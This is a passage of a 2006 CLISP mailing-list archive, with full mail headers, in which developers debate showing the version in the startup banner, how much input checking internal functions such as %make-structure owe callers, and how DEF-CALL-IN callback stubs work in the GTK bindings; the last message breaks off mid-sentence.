(Exim 4.41) id 1GhlGw-0003kq-Ht for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 03:07:11 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 8 Nov 2006 10:26:31 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Wed, 8 Nov 2006 10:26:30 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 8 Nov 2006 10:26:29 +0100 Message-Id: in-reply-to: <17745.26349.547572.976393@thalassa.informatimago.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] An internal function segfaults. Thread-Index: AccC+PG5PXJ2YbAeQhyblMFnLKUB5gAGxYZg From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 08 Nov 2006 09:26:30.0845 (UTC) FILETIME=[F980D6D0:01C70317] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 11:35:33 -0000 Pascal Bourguignon wrote: > - it would be nice if the banner included the version (so I wouldn't > have to do anything to mention the version in bug reports ;-)) I don't want full --version output there. I hate it when programs start and output a screen full of output. But if there's not the full --version output, but e.g. only version number, your bug report would be incomplete and you still need to include more information. Hmm, maybe I should just switch to using -q? I agree that just a short form version number might still be useful. Possibly as a reminder to upgrade ;) ssh janus-1 ... 2.30 -- oops Or useful as well as a reminder of things not present in that particular version of clisp, e.g. "oh, that's 2.35, it did not have feature xyz". -- Useful for people hopping from machine to machine. >> > - system::%make-structure given a non-type segfaults. >Nonetheless, I'd consider it a factor of quality of the >implementation, if no action whatsoever could ever "crash" it. There's a line to draw somewhere. One could e.g. force bytecodes in a hope to crash the machine, or create weird stack frames or some such. You're asking for safety, and people often enough ask for speed -- both at the same time? I'm asking for readability of the source code. More checks tend to work against that. In a layered setup, you'd expect the outermost layers to do plenty of checks, while the inner ones assume valid data. I have no idea where sys::%make-structure belongs. Does it result from macroexpansion of some standard CL function? Only in particular scenarios would one expect *every* layer to be secure against malicious input. E.g. the JVM comes to mind. Java initially started with a stong focus towards security. A typical requirement for a secure system is that no code shall be present that can not be called during mission. If some inner layer code has input checks that are impossible to trigger because the outer layers already ensure correct data, then such code MUST be removed. (hm, where did I learn about this?) I can remember that Bruno Haible once proudly told me that bold crash attempts like (loop for s in (list-all-packages) when (fboundp s) do (setf (symbol-function s) nil) did not manage to crash CLISP, while some other implementation crashed. We tend to play games like that then and now. Look at the source code. There are already plenty of checks. Yet almost no test tests these tests. :-( Maybe your %make-structure example just hits a broken check? I welcome additions to the testsuite to add lots of tests of error situations. I also welcome patches to add even more error checks. But these have to be carefully considered for their performance impact and other costs. Of course, people may argue that clisp is plenty slow already due to too many checks and run-time dispatch (have you ever looked at what # does before it eventually adds two fixnums?). Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Wed Nov 08 07:29:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhpMa-0004wK-RO for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 07:29:17 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GhpMY-0005ux-Ve for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 07:29:16 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1GhlLn-0004nN-SG for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 03:12:13 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Wed, 8 Nov 2006 11:06:26 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Wed, 8 Nov 2006 11:06:25 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Wed, 8 Nov 2006 11:06:24 +0100 Message-Id: in-reply-to: <20061030140244.158bcfb0.dgym.bailey@gmail.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: clisp/gtk, callbacks and gtk_cleanup Thread-Index: Acb8M+aTau3cnVuIQk2RtFePkne4/gCcxu0A From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 08 Nov 2006 10:06:25.0908 (UTC) FILETIME=[8D127340:01C7031D] X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: dgym.bailey@gmail.com Subject: Re: [clisp-list] clisp/gtk, callbacks and gtk_cleanup X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 15:29:17 -0000 Hi, [I'm taking this to clisp-list since 1. that's where most discussions = about gtk take place right now, 2. it's open without prior subscription = and 3. the def-call-in issue is of general interest.] Jim Bailey wrote: >There is no gtk_cleanup() in gtk, that is the name of the function we >should be making available as a c callback (the name is not important, >maybe it could be made more obvious that it is a clisp side thing, >maybe gtk-cleanup-callback). >My use of def-call-in is probably wrong, I just wanted a lisp function >that I could pass as a function pointer to g_signal_connect_data, and >not incur any memory allocation each time I did this. I presume that >what I should have done is just write a normal lisp function and use >that. Indeed, there's some harmless misconception. See below. > Will the ffi reuse the same generated stub for a function (as >opposed to a closure), or is there some otherway of allocating a >function pointer just once? A Lisp function (as opposed to closure)'s callback will be reused while = the foreign type declaration remains EQ. That's a big difference with = closures. Indeed there's a misconception about use of def-call-in present in the = code, both in gtk-cleanup and gtk-callback-N. DEF-CALL-IN generates nice small C stubs to invoke a Lisp function (with = lower overhead than a regular FFI call). Alas, these stubs are not used in gtk.lisp! When the Lisp code passes = #'gtk-cleanup or #',cb-name to a foreign function, it's an FFI generated = trampoline that is created to call the Lisp function -- much like the = already existing stub would do. I.e. def-call-in is currently superfluous. Alternatively, the C functions could be declared both DEF-CALL-IN and = DEF-CALL-OUT! call-in: The former generates the stub, call-out: the latter makes the stub accessible as a *unique* = # object on the Lisp side. Then gtk.lisp can call = e.g. gtk-connect and pass this function pointer, without ever creating = another callback object. The callback is already in the gtk.c file, = created from the call-in definition. Advantages: a) passing a # is faster than going through the = "lookup (or possibly create) callback object for this Lisp function" = code. b) the generated stub is faster at calling the Lisp function than the = callback. The stub does hardly use the FFI, while the callback needs = all of ffcall's trampoline, vacall and the foreign type must be parsed = at run-time. The automatically generated stub may look like this: int stub (int foo); { begin_callback(); // also in trampoline pushSTACK(int2I(foo)); lret =3D funcall(lisp_function,1); // call with one argument cret =3D I2int(lret); end_callback(); return cret; } The overhead of interpretation of the foreign function type has been = eliminated via direct compilation. (Actually, the current situation is = not that ideal: the stub calls instead = pushSTACK(convert_from_foreign(`ffi::int`)) instead of int2I(), and = vice-versa. Sam Steingold would say: of course, http://www.cygwin.com/acronyms/#PTC Impnotes does not explain that DEF-CALL-IN creates a C stub of the given = name during file-compilation. That would be valuable information. Summary: gtk.lisp should use (def-call-in callback0 (:name "gtk_lisp_callback0")) ; create C stub (def-call-out gtk-callback-0-arg (:name "gtk_lisp_callback0")) ; obtain = Lisp handle to that C stub and pass #'gtk-callback-0-arg (a # Date: Wed, 08 Nov 2006 08:31:53 -0800 From: Dave Roberts User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: pjb@informatimago.com References: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> <17745.26349.547572.976393@thalassa.informatimago.com> In-Reply-To: <17745.26349.547572.976393@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 16:32:30 -0000 Pascal Bourguignon wrote: > Nonetheless, I'd consider it a factor of quality of the > implementation, if no action whatsoever could ever "crash" it. IMO, this seems like a lot to ask and will slow down the whole system. Asking for *EVERY* function that somebody could potentially call to do all manner of consistency checking to avoid a crash doesn't seem like a good way to make a system. If you want to argue that any user-level function should not cause the implementation to crash, then I agree with you, but an implementation is going to need a private API and forcing all the error checking into the lowest levels of that API will make it slow. It seems to me the CLISP developers have done a reasonable job of separating the user-level interface from the implementation level interface. Appropriate naming conventions signal when you're playing with fire and may get burned. Appropriate warns have been issued, etc. -- Dave From sds@gnu.org Wed Nov 08 09:05:27 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ghqrf-00088D-Fy for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 09:05:27 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhqrY-0001Zl-8F for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 09:05:27 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE39258400CE; Wed, 08 Nov 2006 12:04:57 -0500 Message-ID: <45520E37.2080309@gnu.org> Date: Wed, 08 Nov 2006 12:04:55 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net References: <17745.26349.547572.976393@thalassa.informatimago.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 17:05:27 -0000 Hoehle, Joerg-Cyril wrote: > Pascal Bourguignon wrote: > >> - it would be nice if the banner included the version (so I wouldn't >> have to do anything to mention the version in bug reports ;-)) > I don't want full --version output there. I hate it when programs start > and output a screen full of output. yes, clisp banner is already big enough. > But if there's not the full --version output, but e.g. only version > number, your bug report would be incomplete and you still need to > include more information. _yes_! > Look at the source code. There are already plenty of checks. > Yet almost no test tests these tests. :-( > Maybe your %make-structure example just hits a broken check? > I welcome additions to the testsuite to add lots of tests of error > situations. > > I also welcome patches to add even more error checks. But these have to > be carefully considered for their performance impact and other costs. > Of course, people may argue that clisp is plenty slow already due to too > many checks and run-time dispatch (have you ever looked at what # +> does before it eventually adds two fixnums?). agreed. Sam. From dgou@mac.com Wed Nov 08 09:24:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhrA9-0001jV-2Y for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 09:24:33 -0800 Received: from smtpout.mac.com ([17.250.248.47]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhrA7-0003mb-C3 for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 09:24:32 -0800 Received: from mac.com (webmail043-S [10.13.128.43]) by smtpout.mac.com (Xserve/8.12.11/smtpout09/MantshX 4.0) with ESMTP id kA8HOPOZ025246 for ; Wed, 8 Nov 2006 09:24:25 -0800 (PST) Received: from webmail043 (localhost [127.0.0.1]) by mac.com (8.13.8/webmail043/MantshX 4.0) with ESMTP id kA8HOPuu021327 for ; Wed, 8 Nov 2006 09:24:26 -0800 (PST) Date: Wed, 08 Nov 2006 09:24:25 -0800 From: Doug Philips To: clisp-list@lists.sourceforge.net Message-ID: in-reply-to: <45520E37.2080309@gnu.org> references: <17745.26349.547572.976393@thalassa.informatimago.com> <45520E37.2080309@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Originating-IP: 64.105.109.86 Received: from [64.105.109.86] from webmail.mac.com with HTTP; Wed, 08 Nov 2006 09:24:25 -0800 X-Brightmail-Tracker: AAAAAA== X-Brightmail-scanned: yes X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 17:24:33 -0000 On Wednesday, November 08, 2006, at 12:05PM, "Sam Steingold" indited: >Hoehle, Joerg-Cyril wrote: >> Pascal Bourguignon wrote: >>> - it would be nice if the banner included the version (so I wouldn't >>> have to do anything to mention the version in bug reports ;-)) >> I don't want full --version output there. I hate it when programs start >> and output a screen full of output. >yes, clisp banner is already big enough. Right, so let's not add anything actually both useful _and_ small. >> But if there's not the full --version output, but e.g. only version >> number, your bug report would be incomplete and you still need to >> include more information. > >_yes_! What one needs to report for debugging is always going to be mondo verbose. And I do _not_ want to see that when I start any program. Of course, I really don't need to see the full ascii art everytime I start CLISP to know that I've started CLISP. It +would+ be very helpful to know which version I have started, however. Look at what, oh, say, Python, to pick another popular language, prints when you start it interactively: Python 2.4.2 (#1, Mar 2 2006, 14:17:22) [GCC 3.3.5 (propolice)] on openbsd3 Type "help", "copyright", "credits" or "license" for more information. So, while I have a different motive here than the, ahem, original poster, I don't see how adding a short version string (2.41.) is such a big deal. It is not like "we" are asking for the numbers to spelled out in 8 line high axey art. Sheesh. --Doug From pjb@informatimago.com Wed Nov 08 19:45:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gi0rN-00018Z-6r for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 19:45:49 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gi0rK-0002Un-MP for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 19:45:49 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1Gi0rB-0005AU-A4 for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 19:45:39 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4EE34585E7; Thu, 9 Nov 2006 04:45:29 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9A954585E6; Thu, 9 Nov 2006 04:45:25 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9B43212AD84; Thu, 9 Nov 2006 04:45:24 +0100 (CET) From: Pascal Bourguignon Message-ID: <17746.42068.296446.254903@thalassa.informatimago.com> Date: Thu, 9 Nov 2006 04:45:24 +0100 To: Dave Roberts In-Reply-To: <45520679.5020906@vyatta.com> References: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> <17745.26349.547572.976393@thalassa.informatimago.com> <45520679.5020906@vyatta.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 09 Nov 2006 03:45:49 -0000 Dave Roberts writes: > Pascal Bourguignon wrote: > > Nonetheless, I'd consider it a factor of quality of the > > implementation, if no action whatsoever could ever "crash" it. >=20 > IMO, this seems like a lot to ask and will slow down the whole system.=20 > Asking for *EVERY* function that somebody could potentially call to do=20 > all manner of consistency checking to avoid a crash doesn't seem like a= =20 > good way to make a system. >=20 > If you want to argue that any user-level function should not cause the=20 > implementation to crash, then I agree with you, but an implementation i= s=20 > going to need a private API and forcing all the error checking into the= =20 > lowest levels of that API will make it slow. There are always "users" of any layer, whatever its level. For example, one could want to write a compiler for another language over the clisp VM. This programmer should be allowed to make errors and recover cleanly from them, when accessing lower level layers. My point of view is that crashing any given layer, is like if your hardware processor freezed because you have an invalid opcode in the instruction stream. > It seems to me the CLISP developers have done a reasonable job of=20 > separating the user-level interface from the implementation level=20 > interface. Appropriate naming conventions signal when you're playing=20 > with fire and may get burned. Appropriate warns have been issued, etc. I'm not saying that clisp is bad, and I agree that it is probably too much work (or perhaps even impossible) for one implementation to have all the qualities. And I have no exigence on this point, I'm only expressing my preferences. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ HANDLE WITH EXTREME CARE: This product contains minute electrically charged particles moving at velocities in excess of five hundred million miles per hour. From don-sourceforge-xx@isis.cs3-inc.com Fri Nov 10 09:13:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GiZwu-00050C-Ks for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:13:52 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GiZwu-0000bI-8D for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:13:52 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 0D4BA1A818F; Fri, 10 Nov 2006 09:13:49 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17748.45900.983441.616083@isis.cs3-inc.com> Date: Fri, 10 Nov 2006 09:13:48 -0800 To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Nov 2006 17:13:52 -0000 Jorg Hohle wrote: > Only in particular scenarios would one expect *every* layer to be secure > against malicious input. E.g. the JVM comes to mind. Java initially > started with a stong focus towards security. In the same way I would like my OS to ensure that no user program can crash it (this seems not so easy to define, BTW), I would like it to be the case that nothing I do from inside clisp can crash clisp (now we have to define not only what qualifies as a crash but also what's "inside" clisp - it'll save trouble if we ignore FFI). I do view this particular case as a bug. Preventing such bugs does not require that *every* layer check for malicious inputs. It requires that there be *some* boundary between what the user can do and whatever can crash clisp. At that boundary there must be enough checks to catch anything that could cause a crash and generate lisp errors instead. So if I call a high level function with some bad arguments, it is acceptable (in the sense of not crashing) to get back a lower level lisp error, e.g., I call (make-instance 1) and get back an error from internals::%%foobar complaining that 17 is not a symbol. In the case of clisp I'd expect the boundary to be between what's written in lisp and what's written in c. Other boundaries seem possible, but less attractive. This means any code written in c and directly callable from lisp has to do enough checking to prevent crashes. It should be allowed to assume that its inputs are "legal lisp objects", and it should ensure that its outputs are also "legal lisp objects". There's some choice about how you define a legal lisp object. For instance, the bytecode interpretation functions would have to do more checking if there were lisp functions that allow you to build arbitrary sequences of bytecodes as compiled functions than if compiled functions were guaranteed by the functions that build them to satisfy certain restrictions. Security in the JVM sense I think is really a different topic. I would like JVM to not crash, but I don't think of that as the sort of security requirement that JVM is supposed to enforce. Rather it is supposed to prevent things like file system access from applets. My impression is that the security in java does not come from every layer preventing misuse from the layer above, but from the bottom layers preventing those disallowed actions. To stray even further from the original topic, I've long thought that lisp, and clisp in particular, would make a good replacement for java. The strategy of controlling the interface between clisp and the OS would seem to work fine for clisp. Alternatively, it can be done at the top layer by restricting the code accepted from the outside. I've done that on occasion to produce what amounts to a restricted eval server. From dave@vyatta.com Fri Nov 10 09:40:35 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GiaMk-0007aa-UO for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:40:35 -0800 Received: from mail.vyatta.com ([216.93.170.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GiaMk-0001eq-IS for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:40:34 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 915444F8A9A; Fri, 10 Nov 2006 09:37:58 -0800 (PST) X-DSPAM-Result: Innocent X-DSPAM-Processed: Fri Nov 10 09:37:56 2006 X-DSPAM-Confidence: 0.9997 X-DSPAM-Probability: 0.0000 X-DSPAM-Signature: 4554b8f4152411596710534 X-DSPAM-Factors: 27, X-Virus-Scanned: amavisd-new at X-Spam-Score: -2.684 X-Spam-Level: X-Spam-Status: No, score=-2.684 tagged_above=-10 required=6.6 tests=[AWL=0.015, BAYES_00=-2.599, DSPAM_HAM=-0.1] Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id woRdFPd9Z8cN; Fri, 10 Nov 2006 09:37:56 -0800 (PST) Received: from [10.0.0.122] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id ED7334F8A99; Fri, 10 Nov 2006 09:37:55 -0800 (PST) Message-ID: <4554B98A.4000608@vyatta.com> Date: Fri, 10 Nov 2006 09:40:26 -0800 From: Dave Roberts User-Agent: Thunderbird 1.5.0.8 (Windows/20061025) MIME-Version: 1.0 To: Don Cohen References: <17748.45900.983441.616083@isis.cs3-inc.com> In-Reply-To: <17748.45900.983441.616083@isis.cs3-inc.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Nov 2006 17:40:35 -0000 Don Cohen wrote: > Jorg Hohle wrote: > > Only in particular scenarios would one expect *every* layer to be secure > > against malicious input. E.g. the JVM comes to mind. Java initially > > started with a stong focus towards security. > > In the same way I would like my OS to ensure that no user program can > crash it (this seems not so easy to define, BTW), I would like it to > be the case that nothing I do from inside clisp can crash clisp (now > we have to define not only what qualifies as a crash but also what's > "inside" clisp - it'll save trouble if we ignore FFI). I would agree that "no user program" should be able to crash either an OS or a Lisp implementation. The issue turns on what people believe is a "user program". The original problem reported by Pascal was: > - system::%make-structure given a non-type segfaults. > It would be nice if it raised a condition (or just returned nil) > instead. As I understand it, this is an internal function in the system package. It's undocumented. The function name is prefixed by "%" to indicate that it's internal. I haven't checked, but I'm guessing that it isn't exported. Given that Lisp doesn't have a strong access control model between internal functions and public APIs, calling %make-structure is the equivalent of a user program calling into the middle of the Linux kernel, bypassing all system functions (and ignoring the fact that you can't do that in Linux because the security system would prevent it). When you do that, bad things happen. > I do view this particular case as a bug. Preventing such bugs does > not require that *every* layer check for malicious inputs. It > requires that there be *some* boundary between what the user can do and > whatever can crash clisp. At that boundary there must be enough checks > to catch anything that could cause a crash and generate lisp errors > instead. So if I call a high level function with some bad arguments, > it is acceptable (in the sense of not crashing) to get back a lower > level lisp error, e.g., I call (make-instance 1) and get back an error > from internals::%%foobar complaining that 17 is not a symbol. There is a layer between users and this function. It's the public API for creating structures. > In the case of clisp I'd expect the boundary to be between what's > written in lisp and what's written in c. Other boundaries seem ??? Why would you expect that? It's a great goal, but I submit that you won't find that boundary in any common implementation Lisp out there, including Lisp machines. There are definitely Lisp functions in SBCL and CMUCL, for instance, that you could call and wedge your system tremendously. Short of a very simple interpreter with no access to compiled code, GC internals, or a compiler, most implementations will provide some functions to access and manipulate low-level data structures and playing with those functions without understanding them can result in getting burned. > possible, but less attractive. This means any code written in c and > directly callable from lisp has to do enough checking to prevent > crashes. It should be allowed to assume that its inputs are "legal > lisp objects", and it should ensure that its outputs are also "legal > lisp objects". There's some choice about how you define a legal > lisp object. For instance, the bytecode interpretation functions > would have to do more checking if there were lisp functions that allow > you to build arbitrary sequences of bytecodes as compiled functions > than if compiled functions were guaranteed by the functions that build > them to 